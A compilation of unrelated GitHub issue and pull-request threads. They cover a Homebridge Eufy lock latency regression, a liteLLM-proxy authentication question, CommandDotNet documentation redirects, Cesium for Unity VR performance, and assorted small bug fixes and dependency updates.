[8/25/2023, 1:43:40 PM] [EufySecurity-2.3.0] DEBUG: Front Door LockStatus true
[8/25/2023, 1:43:40 PM] [EufySecurity-2.3.0] DEBUG: Front Door Triggered GET LockTargetState 1
[8/25/2023, 1:43:40 PM] [EufySecurity-2.3.0] DEBUG: Front Door Triggered SET LockTargetState 0
[8/25/2023, 1:44:10 PM] [EufySecurity-2.3.0] DEBUG: Front Door Property Changes: locked false
[8/25/2023, 1:44:12 PM] [EufySecurity-2.3.0] DEBUG: Front Door Raw Property Changes: 6000 3
[8/25/2023, 1:44:12 PM] [EufySecurity-2.3.0] DEBUG: Front Door Property Changes: lockStatus 3
[8/25/2023, 1:44:12 PM] [EufySecurity-2.3.0] DEBUG: Front Door Handle Lock Status:  --  3
[8/25/2023, 1:44:12 PM] [EufySecurity-2.3.0] DEBUG: Front Door LockStatus 3

config
{
    "username": "",
    "password": "",
    "country": "US",
    "deviceName": "",
    "platform": "EufySecurity",
    "ignoreStations": [
        "T8030P1322330EFE"
    ],
    "ignoreDevices": [],
    "cleanCache": true,
    "_bridge": {
        "username": "0E:F8:65:27:D1:55",
        "port": 30172
    },
    "cameras": [
        {
            "serialNumber": "T8140P612108022C",
            "rtsp": false,
            "enableCamera": "true",
            "videoConfig": {
                "audio": true,
                "audioSampleRate": 0
            },
            "enableButton": false,
            "motionButton": false,
            "unbridge": true,
            "snapshotHandlingMethod": 2,
            "delayCameraSnapshot": true
        },
        {
            "serialNumber": "T8140P8122044CF7",
            "rtsp": false,
            "enableCamera": "true",
            "videoConfig": {
                "audio": true,
                "audioSampleRate": 0
            },
            "enableButton": false,
            "motionButton": false,
            "unbridge": true,
            "snapshotHandlingMethod": 2,
            "delayCameraSnapshot": true
        },
        {
            "serialNumber": "T8160P1122320669",
            "enableCamera": "true",
            "videoConfig": {
                "audio": true,
                "audioSampleRate": 0
            },
            "talkback": false,
            "enableButton": false,
            "motionButton": false,
            "unbridge": true,
            "snapshotHandlingMethod": 2
        },
        {
            "serialNumber": "T8160P11223215B7",
            "enableCamera": "true",
            "videoConfig": {
                "audio": true,
                "audioSampleRate": 0
            },
            "enableButton": false,
            "motionButton": false,
            "unbridge": true,
            "snapshotHandlingMethod": 2
        },
        {
            "serialNumber": "T8161P10224422E3",
            "enableCamera": "true",
            "videoConfig": {
                "audio": true,
                "audioSampleRate": 0
            },
            "enableButton": false,
            "motionButton": false,
            "unbridge": true,
            "snapshotHandlingMethod": 2
        },
        {
            "serialNumber": "T8131N6321352425",
            "rtsp": false,
            "enableCamera": "true",
            "videoConfig": {
                "audio": true,
                "audioSampleRate": 0
            },
            "enableButton": false,
            "motionButton": false,
            "unbridge": true,
            "snapshotHandlingMethod": 2
        },
        {
            "serialNumber": "T8422N10211207F8",
            "rtsp": false,
            "enableCamera": "true",
            "videoConfig": {
                "audio": false,
                "audioSampleRate": 0
            },
            "enableButton": false,
            "motionButton": false,
            "unbridge": true,
            "snapshotHandlingMethod": 2,
            "delayCameraSnapshot": true
        },
        {
            "serialNumber": "T8520Q25224506AF",
            "rtsp": false,
            "talkback": false
        },
        {
            "serialNumber": "T8210P3421221765",
            "rtsp": false,
            "enableCamera": true,
            "videoConfig": {
                "audio": true,
                "audioSampleRate": 0
            },
            "enableButton": false,
            "motionButton": false,
            "snapshotHandlingMethod": 2,
            "unbridge": true,
            "immediateRingNotificationWithoutSnapshot": true,
            "delayCameraSnapshot": true
        }
    ],
    "enableDetailedLogging": true,
    "preferLocalConnection": true
}

Did you check this Common Issues pages ?

Yes

Can you try with the latest beta? Thanks

Seems to be a bit quicker, but definitely much slower than it used to be. It used to be about 5 seconds at max.
[8/25/2023, 7:41:49 PM] [Door Switch] Setting switch to false
[8/25/2023, 7:41:49 PM] [Door Switch] Setting switch to false
[8/25/2023, 7:41:49 PM] [EufySecurity-2.3.0] DEBUG: Front Door LockStatus false
[8/25/2023, 7:41:49 PM] [EufySecurity-2.3.0] DEBUG: Front Door Triggered GET LockTargetState 0
[8/25/2023, 7:41:49 PM] [EufySecurity-2.3.0] DEBUG: Front Door Triggered SET LockTargetState 1
[8/25/2023, 7:42:00 PM] [EufySecurity-2.3.0] DEBUG: Front Door Property Changes: locked true
[8/25/2023, 7:42:03 PM] [EufySecurity-2.3.0] DEBUG: Front Door Raw Property Changes: 6000 4
[8/25/2023, 7:42:03 PM] [EufySecurity-2.3.0] DEBUG: Front Door Property Changes: lockStatus 4
[8/25/2023, 7:42:03 PM] [EufySecurity-2.3.0] DEBUG: Front Door Handle Lock Status:  --  4
[8/25/2023, 7:42:03 PM] [EufySecurity-2.3.0] DEBUG: Front Door LockStatus 4
[8/25/2023, 7:42:03 PM] [Door Switch] Setting switch to false
@lenoxys

Just tested an unlock after that lock. Looks like around 10 seconds.
[8/25/2023, 7:42:40 PM] [Door Switch] Setting switch to true
[8/25/2023, 7:42:40 PM] [EufySecurity-2.3.0] DEBUG: Front Door LockStatus true
[8/25/2023, 7:42:40 PM] [EufySecurity-2.3.0] DEBUG: Front Door Triggered GET LockTargetState 1
[8/25/2023, 7:42:40 PM] [EufySecurity-2.3.0] DEBUG: Front Door Triggered SET LockTargetState 0
[8/25/2023, 7:42:47 PM] [EufySecurity-2.3.0] DEBUG: Front Door Property Changes: locked false
[8/25/2023, 7:42:49 PM] [EufySecurity-2.3.0] DEBUG: Front Door Raw Property Changes: 6000 3
[8/25/2023, 7:42:49 PM] [EufySecurity-2.3.0] DEBUG: Front Door Property Changes: lockStatus 3
[8/25/2023, 7:42:49 PM] [EufySecurity-2.3.0] DEBUG: Front Door Handle Lock Status:  --  3
[8/25/2023, 7:42:49 PM] [EufySecurity-2.3.0] DEBUG: Front Door LockStatus 3
[8/25/2023, 7:42:49 PM] [Door Switch] Setting switch to true

On which version it was better ?
Can you revert back to that one and test ? See here
https://github.com/homebridge-eufy-security/plugin/wiki/RC---Beta-Version#homebridge-cli

I just downgraded to homebridge-eufy-security v2.1.0 and it seems much quicker.
2.1.4 also seems very quick. Less than 5 seconds.
2.2.2 is also very quick. Less than 5 seconds.
2.2.3 seems to be somewhat OK, however there was 1-2 times of testing where it got stuck locking/unlocking.
2.2.5 is VERY SLOW/does not even work.
Latest beta is decent, it's about 10 seconds.
@lenoxys

I can confirm that I have been dealing with the same issues for over a month now, and rolling back to 2.2.2 got everything working again. I had tried the newest versions and even beta versions and none of them worked. Followed the advice here and tried 2.2.2 and all is good now. Finally. Not sure what the issue is…

hello can you try with this version ? v2.2.6-beta.0

hello can you try with this version ? v2.2.6-beta.0

Hi. I tried the beta yesterday morning but it did not work for me.

I means this specific version I've released for purpose : v2.2.6-beta.0

can you try 2.2.6 ?

Sure, I’ll be home to try soon. No betas? Just 2.2.6?

Yeah

try 2.2.14 I've fixed some issue on lock


feat: Support Electron 9

Support Electron 9
Fixes #79

:tada: This PR is included in version 2.15.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Error when naming a command something with dashes, eg simply-save

When naming a command to something with a dash symbol in it, simplycode will generate an error.
This is because the command keys are not encapsulated in quotes.
I expected to be able to name a command something like 'simply-save'. Instead I had to use camelCase instead to get it to work.

Patch should look something like this:
diff --git a/index.html b/index.html
index e591027..64c837e 100644
--- a/index.html
+++ b/index.html
@@ -3042,7 +3042,7 @@
           var actions = {

-           :
+          "" :

           };
@@ -3114,7 +3114,7 @@
           var commands = {

-           :
+          "" :

           };
@@ -3507,7 +3507,7 @@

                     <template>

-                   : ,
+                  "" : ,

                     </template>

@@ -3560,7 +3560,7 @@

                     <template>

-                   : ,
+                  "" : ,

                     </template>


add new feature/type for JSON

Suggestion
Add a new feature type on typescript for JSON objects. As we all know JSON has limited possible types and would be nice to have separate type for JSON objects so we could validate it, also it could be easily used as result of JSON.parse().
List of keywords you searched for before creating this issue. Write them down here so that others can find this suggestion more easily and help provide feedback.
JSON type
📃 Motivating Example
This feature would help us to make code / type-check shorter and life easier.
💻 Use Cases
const data: jsonType = JSON.parse(jsonString)
so data here is either {} or [] which has following type def
interface jsonType {
 [key: number | string]: number | string | boolean | null | jsonType
}

Duplicate of #1897


Refactoring: remove using namespace std from following files in src/s…

…cript folder:
src/script/interpreter.cpp
src/script/script.cpp
src/script/sign.cpp
src/script/standard.cpp

That looks good, thanks.
I'm running it though the continues integration server to see if it all builds and if the unit tests still pass, and if they do I'll merge this.
Great work, much appreciated!


The safety of fat-store directory using git-fat

How secure is it to use git-fat with other people to manage the repository. In particular, it seems that everybody should have write access to the some fat-store directory. So anyone is able to delete something from fat-store? Is there something like pull request that allows each person has it own fat-store directory, yet allow pulling changes from others' fat-store directories?

This is a filesystem issue, not a git-fat issue. (From a security perspective, it doesn't matter whether git-fat has an interface, it matters whether the underlying protocol and permissions system supports that operation.) If you would like to prevent other people from deleting your files, you can set the sticky bit. I don't want git-fat to need a custom server (too complicated and more surface area to secure).

Would it be better to somehow allow something like pull request so that each one has its own fat-store repository? If everyone relies on a central fat-store repository, this sounds like not consistent with git's decentralization philosophy. Since git-fat is closely related with git, it is better to make it consistent with git in this aspect.

This is a separate issue and the reason I want git-fat to have named remotes. We have discussed it a few times.

OK. When you think the named remote feature will be added?

I can't promise a date, but see PR #28 for recent discussion.


Unauthorized

No matter what I do, I get an 401 Unauthorized response back.
I tried using the .env and setting up my OpenAI key.
I tried using Bearer Auth header with my OpenAI key.
Here is the json body I'm sending via PostMan:
{
  "model": "gpt-3.5-turbo",
  "messages": [
    {
      "content": "Hello, whats the weather in San Francisco??",
      "role": "user"
    }
  ]
}

I've also tried accessing TogtherAI models and am having the same problem.
Using the latest git version.

Hey @gururise,
The key needed to pass in via bearer is the user key -
see user_key_auth: https://github.com/BerriAI/liteLLM-proxy/blob/bbe0f62e3a413c184607a188ec1b9ca931fef040/main.py#L65C63-L65C63
it checks if the user key is valid here - https://github.com/BerriAI/liteLLM-proxy/blob/bbe0f62e3a413c184607a188ec1b9ca931fef040/main.py#L32
You can create a user key by calling /key/new:
https://github.com/BerriAI/liteLLM-proxy/blob/bbe0f62e3a413c184607a188ec1b9ca931fef040/main.py#L104
--
We're assuming you have your api keys in the .env and trying to provide users access to this.

Let me know if that works for you. Happy to hop on a call and help debug as well.

Hey @gururise,
The key needed to pass in via bearer is the user key -
see user_key_auth: https://github.com/BerriAI/liteLLM-proxy/blob/bbe0f62e3a413c184607a188ec1b9ca931fef040/main.py#L65C63-L65C63
it checks if the user key is valid here -
https://github.com/BerriAI/liteLLM-proxy/blob/bbe0f62e3a413c184607a188ec1b9ca931fef040/main.py#L32
You can create a user key by calling /key/new:
https://github.com/BerriAI/liteLLM-proxy/blob/bbe0f62e3a413c184607a188ec1b9ca931fef040/main.py#L104
-- We're assuming you have your api keys in the .env and trying to provide users access to this.

I must still be doing something wrong. I set the environment variable USERS_KEYS="abcd,efgh"
Then I hit the /key/new endpoint and end up with this error:
liteLLM-proxy on  main [$!?] is 📦 v0.0.1 via 🐍 v3.11.5 (venv) took 38s
❯ export USERS_KEYS="abcd,efgh"

liteLLM-proxy on  main [$!?] is 📦 v0.0.1 via 🐍 v3.11.5 (venv) took 4s
❯ python main.py
INFO:     Started server process [1003699]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://<IP_ADDRESS>:8081 (Press CTRL+C to quit)
abcd
abcd,efgh
INFO:     <IP_ADDRESS>:35372 - "POST /key/new HTTP/1.1" 500 Internal Server Error
ERROR:    Exception in ASGI application
Traceback (most recent call last):
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/uvicorn/protocols/http/h11_impl.py", line 408, in run_asgi
    result = await app(  # type: ignore[func-returns-value]
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/uvicorn/middleware/proxy_headers.py", line 84, in __call__
    return await self.app(scope, receive, send)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/fastapi/applications.py", line 292, in __call__
    await super().__call__(scope, receive, send)
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/starlette/applications.py", line 122, in __call__
    await self.middleware_stack(scope, receive, send)
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/starlette/middleware/errors.py", line 184, in __call__
    raise exc
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/starlette/middleware/errors.py", line 162, in __call__
    await self.app(scope, receive, _send)
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/starlette/middleware/cors.py", line 83, in __call__
    await self.app(scope, receive, send)
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/starlette/middleware/exceptions.py", line 79, in __call__
    raise exc
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/starlette/middleware/exceptions.py", line 68, in __call__
    await self.app(scope, receive, sender)
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/fastapi/middleware/asyncexitstack.py", line 20, in __call__
    raise e
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/fastapi/middleware/asyncexitstack.py", line 17, in __call__
    await self.app(scope, receive, send)
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/starlette/routing.py", line 718, in __call__
    await route.handle(scope, receive, send)
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/starlette/routing.py", line 276, in handle
    await self.app(scope, receive, send)
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/starlette/routing.py", line 66, in app
    response = await func(request)
               ^^^^^^^^^^^^^^^^^^^
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/fastapi/routing.py", line 273, in app
    raw_response = await run_endpoint_function(
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/gene/Downloads/liteLLM-proxy/venv/lib/python3.11/site-packages/fastapi/routing.py", line 190, in run_endpoint_function
    return await dependant.call(**values)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/gene/Downloads/liteLLM-proxy/main.py", line 111, in generate_key
    total_budget = data["total_budget"]
                   ~~~~^^^^^^^^^^^^^^^^
KeyError: 'total_budget'

Is there a way to not require a userkey?

Yea just comment out this dependencies line - https://github.com/BerriAI/liteLLM-proxy/blob/bbe0f62e3a413c184607a188ec1b9ca931fef040/main.py#L65

hmm how do plan on giving users access to your models if you remove this? @gururise

hmm how do plan on giving users access to your api keys if you remove this? @gururise

What I meant is, I would like to pre-define a user-key (in the env file) that could be used and never changes upon app restarts.

Oh - then just modify this line to be the key in your .env
Are you setting budget limits etc. on this key?

Oh - then just modify this line to be the key in your .env
Are you setting budget limits etc. on this key?

No budget limits. Just want unlimited usage.

oh yea that 1 line change should solve your problem. Curious - what're you using the proxy for?


Documentation Review

Documentation for V3 is nearly complete and could use some reviews.  I'd appreciate anyone taking a look through the docs and pointing out mistakes or where something could be more clear or more to the point.
https://bilal-fazlani.github.io/commanddotnet/V3/

@bilal-fazlani if you have time ^

Sure, I will go through the docs

This link https://bilal-fazlani.github.io/commanddotnet/ seems to be broken

The url https://bilal-fazlani.github.io/commanddotnet/ is already cached by google

I think we should add a redirect from This link https://bilal-fazlani.github.io/commanddotnet/ to This link https://bilal-fazlani.github.io/commanddotnet/V2 . later we can change the redirection to V3
I can take this up.

Will continue to review the doc contents and hopefully finish today or in few days

Looks like I missed a test with the V2 doc move.  I'll revert to the working version and then get it fixed.  Thanks for working on it.

Ohh I have added a redirect. It works fine now.

I've been getting a 404 when I go there.  Even with the redirect to the v2 path

I suspect browser has cached 301 permanent move. Can you try it with a different browser?

oops, looks like its broken again.

yeah.  i pushed another change so I've just pushed the revert and will try again after the build

Sorry about that.  I tested all the links worked within the v2 and v3 folders but missed the test from root.

no problem :). i actually broke it further 😛.

it should get fixed after the revert hopefully.

my changes today didn't fix it.  still 404.  I'll put an index.md in the root.

it doesn't work from browser for me but works from curl:
curl -sSL -D - https://bilal-fazlani.github.io/commanddotnet/ -o /dev/null

I also noticed that when I serve it locally now, it's in a continuous build loop.  I'm not sure what caused that.  I'll look into that too.

the redirect works locally. I wonder if 301 is cached on a router.

if routers cache 301, then it would be one hell of a problem for websites!
btw, i think a lot of conversations we have are like chat.
Discord is fairly popular these days and may be better than gitter. Let's give it a try?
https://discord.gg/GYYmGB

Ugh, found it.
I needed  https://bilal-fazlani.github.io/commanddotnet/
not https://bilal-fazlani.github.io/
I'll be making no further commits today !!!  I've got the dumb.

There's only one piece of documentation I'd still like to add which is around middleware best practices, but I don't think it is needed for the release.  If the documentation looks good, I think we're ready to release v3 to master.

Sure. I have started reviewing the docs. Will keep you updated on it.
btw, please ignore the discord link I sent earlier. I used my office email address for that. this one is correct. https://discord.gg/aFh9ms
We can discord if it works for a general chat for everyone. I have seen people use slack and gitter too. Let me know what you think

You have added excellent features @drewburlingame 👍
I am making myself familiar with the new features using v3 documentation. I am going a bit slow and will take few days to finish the review. I will keep posting some feedback suggestions on this github issue.

https://bilal-fazlani.github.io/commanddotnet/V3/Middleware/response-files/#response-files
response-files is an awesome feature.  Should we call this feature "argument-files" ? or something similar..? Maybe my reason to think of it as "argument-files" is that we are providing first class support for reading arguments from a file but - not for writing response of program. Plus it is a file with a bunch of arguments :P

https://bilal-fazlani.github.io/commanddotnet/V3/Extensibility/help/#help
awesome work on the help configuration 👍

https://bilal-fazlani.github.io/commanddotnet/V3/Middleware/response-files/#response-files
response-files is an awesome feature. Should we call this feature "argument-files" ? or something similar..? Maybe my reason to think of it as "argument-files" is that we are providing first class support for reading arguments from a file but - not for writing response of program. Plus it is a file with a bunch of arguments :P

I agree, it's very useful. It's an established pattern with that name. MS uses them in a lot of their tools.  I believe the name is because the files were generated as responses from one application to be used in other applications.

Okay.


operator hazelcast-platform-operator (5.6.0)

/merge possible

/retest-required

/merge possible

/remove-hold

/merge possible


test: fix test

Codecov Report

Merging #111 into master will not change coverage.
The diff coverage is 0%.

@@           Coverage Diff           @@
##           master     #111   +/-   ##
=======================================
  Coverage   73.28%   73.28%
=======================================
  Files          69       69
  Lines        2583     2583
=======================================
  Hits         1893     1893
  Misses        690      690


VR performance with Cesium for Unity

There seems to be a big performance hit when loading a Cesium for Unity scene in VR, at least if it's using the XR Interaction toolkit.
This can be observed in the VR01 sample scene - opening the scene immediately spikes CPU usage from a baseline Cesium for Unity scene (<1%) to over 90% on my machine. Deleting the Cesium georeference and 3D tilesets from the scene immediately reduces CPU usage.
Additional profiling is needed to help narrow down the cause of the issue.

Ran the profiler to narrow down this issue.
Summary: Profiler results in edit mode while the problem was occurring are detailed below. The trigger for the lag seemed to be the presence of the" XR Origin" gameobject's camera, which is discussed below the profiler results.
Profiler stats
Note that these stats were profiled in edit mode. @joseph-kaile, stats from play mode would also be quite useful, especially if you can run the profiler on a standalone build.
The vast majority of the time spent each frame came from Cesium.
Inside of Application.TickSceneTracker, specifically UnityEditor.Coremodule.dll!UnityEditor::EditorApplication.Internal_CallUpdateFunctions(), CesiumRuntime.dll!::CallbackFunctionNativeFunction.UnityEditor_CallbackFunction_InvokeCallback() was creating a lot of overhead, at worst adding 95.37ms. I wasn't able to run a deeper profile on this, but from the listed method names, it seems that Reinterop::ReinteropInitializer is the culprit.

The previous spike in that image occurred right after opening the scene, in Application.UpdateScene...CesiumRuntime.dll!CesiumForUnity::Cesium3DTileset.Update(). This latency reoccurred in several later spikes but wasn't as consistently high as the latency coming from Application.TickSceneTracker.

XR Origin gameobject
Deleting the XR Origin/Camera Offset/Main Camera gameobject from the scene resolves the latency. This gameobject has a Camera script and a Tracked Pose Driver (Input System) script. It's actually the camera script itself that is causing this lag. Removing the Camera component fixes the issue, even if the other script is left on.
I wasn't able to recreate the issue by adding a new camera to the scene and dragging it to the same place in the hierarchy. Likewise, I wasn't able to recreate the issue by deleting the 3D Tilesets from the scene, then re-adding them.

There seems to be a big performance hit when loading a Cesium for Unity scene in VR, at least if it's using the XR Interaction toolkit.
This can be observed in the VR01 sample scene - opening the scene immediately spikes CPU usage from a baseline Cesium for Unity scene (<1%) to over 90% on my machine. Deleting the Cesium georeference and 3D tilesets from the scene immediately reduces CPU usage.
Additional profiling is needed to help narrow down the cause of the issue.

I too am seeing these spikes in performance in VR. And I am using the XR Interaction Toolkit. It's causing jitters when the user turns, but I am not seeing the same spikes when not in VR. So something strange going on with the VR camera. Do you have any updates on the issue? Or found any way to resolve it?

No, sorry, @josephsipos, we don't have any new information about this.

No, sorry, @josephsipos, we don't have any new information about this.

After some more digging into this, there seems to be some significant spikes coming from loading in the various terrain LOD's while panning the camera. It might not be noticeable on a 2D screen, but its definitely noticeable in VR... I created a script that would call suspendUpdate on the 3D tileset and everything would be super smooth again while turning. So it seems to be coming from Cesium loading the terrain based on the Camera frustrum. And with VR, the camera frustrum is wide, like over 100 degrees, so it might make the spikes even worse. I am wondering if there is a way to load in the LOD terrain objects without a spike. Like using a CoRoutine instead on the main update thread?

@josephsipos one trick I have used in past VR projects (albeit in Unreal Engine) is to disable tileset frustum culling for VR apps.  This means tiles will load all around the user, not just in their view.  In combination with this if you Enforce Culled Screen Space error, and set the Culled Screen Space Error to match your regular Screne Space Error, the end result is all tiles around the user should load to the same detail level as if they were in the camera frustum.
The end result is once tiles are loaded, there should be essentially no loading at all going on when the user moves their head around.  The drawback is you will have slightly longer load times initially. For teleport based VR this can work quite well, and a slightly longer fade from black could help mask the load times.

@r-veenstra I was wondering if there was a way to disable the frustum culling. How would I go about this in Unity? I don’t see a checkbox for it on the 3Dtileset?

@r-veenstra  Thanks for the tips, much appreciated! I already had the disable frustrum culling. Setting Culled Screen Space Error and Screen Space Error to the same value helped reduce the terrain popping effect while doing turns. Great suggestion! But still encountering pretty bad studders on the Standalone Quest while moving / turning fast. I am thinking there could be some optimizations on loading the LOD's. Maybe some Cesium developers can look into it more. I am thinking I for now I will have to check the turning velocity of the user and enable the suspendUpdate if they are turning a certain speed so it isn't choppy while turning. Really becomes uncomfortable with the stutters there. Also, Cesium, you should look into adding a Simple Lit shader for the base project. I ended up doubling my frames after creating my own Simple Lit shader, based off the built in Simple Lit shader in URP.  The Standard Lit shader is too heavy for the Meta Quest. I would share it but my company doesn't allow sharing the code. But should be pretty straight forward.


Ignore virtual environments

This PR allows Git to ignore created env's within the project itself. This also adds information about using a virtual environment rather than installing requirements globally, while also updating and adding instructions (for Windows)

Closing; inactive project.


efivar: 31 -> 30 (for 17.03)

Motivation for this change
According to the release page, version 31 of efivar is still considered
as a pre-release and the sha256sum has changed at least once. This commit
switches to the last, stable release.
(cherry picked from commit f58234b3bcc12fa072248862565af34df4757155)
Things done

[ ] Tested using sandboxing
(nix.useSandbox on NixOS,
or option build-use-sandbox in nix.conf
on non-NixOS)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] Linux

[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[x] Fits CONTRIBUTING.md.

When you cherry-pick -x, you should do it from a commit that exists in the master branch. I guess the commit you used was from you previous PR, which I rebased on top of master, so it got a new commit id. So now the commit reference is invalid.
I can do the cherry-pick.

Ran it through nox-review and tested "efivar -l". Backported: 0b11e60ed08a1f6f39358da6ac248ca352e4b582.

@bjornfor thanks and sorry for the incovenience

@jokogr: No problem.


jruby review - contention + cloning objects

this is some Java code cleanup along the line of some issues, notably:

Nokogiri's class-cache was synchronized yet read-only after initialization (un-wanted contention)
XPathFunction related internals used clone() on non-clonable objects thus always throwing
-> caused an unnecessary slow-down (catch (CloneNotSupportedException e))

lgtm

see JRuby 1.7 (still around and supported) was dropped, hoped for a Nokogiri release with these for 1.7
there's still likely to be at least one JRuby 1.7.x (patch) release.
any chance we can do a Nokogiri release for JRuby (there's very little change in Nokogiri 1.7.0) ?

@kares Not sure what you're referring to when you say "jruby 1.7 was dropped." Definitely not the case, we still support it and still run CI on it.
I'm merging this now, so it will be in our next release, likely to be Nokogiri 1.7.1. Sound good?

Thanks Mike, have seen your tweet for the 1.7 release and it wasn't clear that you're not dropping JRuby 1.7 while dropping MRI < 2.1 ... now I see the -java gem does not have required_ruby_version => '>= 2.1.0'


Concerning LICENSE

Thanks for the great works!
Just wondering if you have considered adding a license to this repository?

Thanks!
I select a flexable license, hope this helps!

Awesome! Thank you! :D


docs: Add user guide for change stream color

Hey, I added a new page to the documentation on changing stream colors. I'd appreciate any comments or suggestions. Thanks!

Automated message from Dropbox CLA bot
@1Niels, it looks like you've already signed the Dropbox CLA. Thanks!

This should probably also mention that you can change stream colors directly in the left sidebar, since that's faster!

Yeah definitely, I just added a section for that now. Thanks!

This is ready for @timabbott to merge. @1Niels don't forget to re-submit your task via GCI. Awesome, great work!

Nice, merged, thanks @1Niels!!

No problem, always a pleasure! @feorlen @timabbott


firewall navigation - Sowing IPTable

Operating system | CentOS Linux 7.4.1708
Webmin version | 1.860
Theme version | Authentic Theme 19.01
Firefox 56.0.2(x64)
Networking - Linux Firewall - Sowing IPTable - Select [ Packet Alteration ] and Network [ Address Translation ] Does not switch rule lists.

Hi,
Does it work in the old theme?

The latest working version is 18.49

This is due to completely broken HTML.
I will make a fix for now, just as for some other parts of the page and as well as for other modules.
I the future, we'll change server part to make sure that all of the HTML is rendered correctly at the first place.

It's going to 19.02 release right now.


[Improvement] HiveTableOperations.java has no unit tests/coverage

What would you like to be improved?
HiveTableOperations.java has no unit tests/coverage
How should we improve?
Write unit tests to provide code coverage

Hi @justinmclean ,
I want to work on this issue.
Can it be assigned to me? 😊
Best Regards,
Edward

This was raised some time ago, so it might have been done, you might want to check that first.

Hi @justinmclean ,
Sorry for delay update.
I have checked this issue and find that HiveTableOperations unit tests have been added.
Maybe this issue can be closed.
Best Regards,
Edward

Thanks for checking that feel free to pick another issue or work on or to improve our test coverage in other places.


elementsourcescache: don't try catching grpc.RpcError

Nothing that it calls raises this exception; everything should raise either AssetCacheError or CasRemoteError.

Nice one, I've been wanting to clean these up as well...


1.21.1 Rendering Issue - NeoForge

I created a modpack and got some problems when loading in. After testing around I found out that Immersive Portals caused the issue. Then I wanted to test, if any other installed mod made the problem, but that was not the case. After I created a new Modpack with only Sodium, Cloth Config API and Immersive Portals on NeoForge, the bug was still there and again gone when Immersive Portals was removed.

I know that its currently still in developement, thats why I reported this problem (;

Sodium is currently not caompatible


chore(mlx-lm): add missing model_type for starcoder2

address https://github.com/ml-explore/mlx-examples/pull/502#issuecomment-1975121697

I can confirm this change has fixed LoRA fine-tuning as stated comment for PR #502 .

Good catch, thanks!!


Fix travis errors caused by flake and luacheck

Fixed by removing flake, pep, and luacheck from Travis.


Request to move the OS incompatibility message to status bar

VS Code Version: 1.86.1
OS Version: Windows 10 with Centos 7 for remote

Further to #203967, thanks for allowing support for unsupported OSes for another year. The new 1.86.1 shows following bar just below the Menu bar. Occupies screen real estate. Cannot dismiss it. Is too jarring.

Could you please consider moving it to the status bar (typically at the bottom), whose purpose is to show such and similar details? Because we know what we are doing by using old version. Also, using some non-jarring background color, when in status bar, would help.
To begin with, perhaps it can be shown in the status bar with red warning sign, short text "Incompatible OS", with full message as ALT text and no background color change. And when the one year extension nears end, make it all red (and blinking!)... in the status bar.
Thanks,
WinCPP

See also #204728

@benibenj closing this as duplicate of #204728 which @gjsjohnmurray pointed out, which was also reported earlier.


Don't convert SUIT_digest bytes to hex representation

This PR fixes a bug in the COSE signature payload. The digest-bytes of the SUIT_digest object should be a bstr with the raw digest as content. In current master the digest-bytes is a hex representation of the digest which results in 1. a twice as long bstr (64 bytes instead of 32 bytes for sha256) and 2. incorrect digest verification on the receiver side.

@bremoran Ping! :)

I think this issue should also be fixed in #43. Would you like to verify?

I think this issue should also be fixed in #43. Would you like to verify?

The offending line still results in a CBOR text string (and not in a CBOR byte string) if I'm correct. I'll verify tomorrow.


tests integ: Add two ifases with same ipv4 address

The test resultshave been also confirmed using "ip address" to exist
on the kernel .

Coverage remained the same at 70.292% when pulling 332e51a02b188b026020571b40b2f024e40ad098 on SvetaHBar:ipv4_eth_tests into 2236890e1e5df85f8cdfca660b1a3bc5679269d6 on nmstate:master.

Coverage remained the same at 70.292% when pulling 332e51a02b188b026020571b40b2f024e40ad098 on SvetaHBar:ipv4_eth_tests into 2236890e1e5df85f8cdfca660b1a3bc5679269d6 on nmstate:master.


IntegratedDynamics Machine Reader can't read the temperature from the side of the fusion reactor.

The CommonCapabilities temperature API is only accessible from the bottom center of the fusion reactor.
Nuclearcraft version: 2.18w-1.12.2
CommonCapabilities version: 1.12.2-2.4.7
Integrated Dynamics version: 1.12.2-1.1.7

Unfortunately this is just due to a problem with the way I implemented fusion reactors in the pre-overhaul. I tried to fix this a couple of years ago but couldn't get it to work.


Update go.mod dependencies release-1.15 [SECURITY]

Description of your changes
This PR updates go.mod dependencies to fix the following:

Name
Change
Type
Vulnerability
Severity

golang.org/x/crypto
v0.27.0 -> v0.31.0
go-module
GHSA-v778-237x-gjrc
High

I have:

[x] Read and followed Crossplane's contribution process.
[x] Run make reviewable to ensure this PR is ready for review.
[ ] ~Added backport release-x.y labels to auto-backport this PR if necessary.~

How has this code been tested

/test-examples="examples/s3/v1beta1/bucket.yaml"

/test-examples="examples/ec2/v1beta2/vpcendpoint.yaml"


Make diff functions async

This is a pretty big change to how we use diffs. Right now they are all synchronous and can take a long time to calculate if the diff is large (>1k changes).
This PR will make the diff/hunk/lines all async so that at least it's not blocking when it's doing its calculations. This will cause an API break so it makes us have to do a minor version bump.
